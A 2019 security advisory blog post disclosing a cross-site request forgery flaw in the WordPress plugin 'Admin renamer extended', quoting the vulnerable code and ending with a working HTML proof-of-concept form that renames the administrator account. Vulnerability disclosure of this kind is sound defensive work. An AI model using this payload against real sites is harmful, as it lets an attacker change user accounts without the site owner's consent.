24 Jun 2019

Cross-Site Request Forgery (CSRF) Vulnerability in Admin renamer extended

The changelog for the latest version of Admin renamer extended is “Changed: Possible XSS bugfix reported by CBiu”. In looking over the changes made in that version to see if this was something we should be alerting customers of our service if they were using the plugin, we found that even calling it “possible” might be overstating it. While looking into that we did notice that there was a vulnerability in the current version that is located in the same file as the one where the change to fix a possible issue was made.

The plugin makes it admin pages available to users with the “manage_options” capability, which normally only Administrators have:

41
add_submenu_page("plugins.php", "Admin renamer extended", "Admin renamer extended", 'manage_options', __FILE__, 'plugin_admin_renamer_initpage');

When that page is accessed the function plugin_admin_renamer_initpage() runs, which in turns loads the file /form.php:

17
18
19
function plugin_admin_renamer_initpage() {
   if (isset ($_GET['page']) && ($_GET['page'] == 'admin_renamer_extended/admin.php' || $_GET['page'] == 'admin-renamer-extended/admin.php')) {
      require_once PLUGIN_ADMIN_RENAMER_DIR . '/form.php';

In that file, it checks if the user has another capability that only Administrators normally have:

18
19
20
21
if(!current_user_can('remove_users'))
{
	wp_die('No permission to change usernames','You are not allowed to do this');
}

Then it will set the value of the variable $newName to user input:

34
$newName = htmlspecialchars(trim($_POST['plugin_admin_renamer-newname' . intval($_GET['user_id'])]));

And set the username of the user specified by user input to value of $newName:

50
$wpdb->update( $wpdb->users, array( 'user_login' => $newName ), array( 'ID' => $_GET['user_id'] ), array( '%s' ), array( '%d' ) );

What is missing there is a nonce check to prevent cross-site request forgery (CSRF) protection, so an attacker could cause a logged in Administrator to send a request that changes a username without them intending it.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will change username of the users with the ID 1 to “poc”, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/plugins.php?page=admin-renamer-extended/admin.php&user_id=1" method="POST">
<input type="hidden" name="plugin_admin_renamer-newname1" value="poc" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.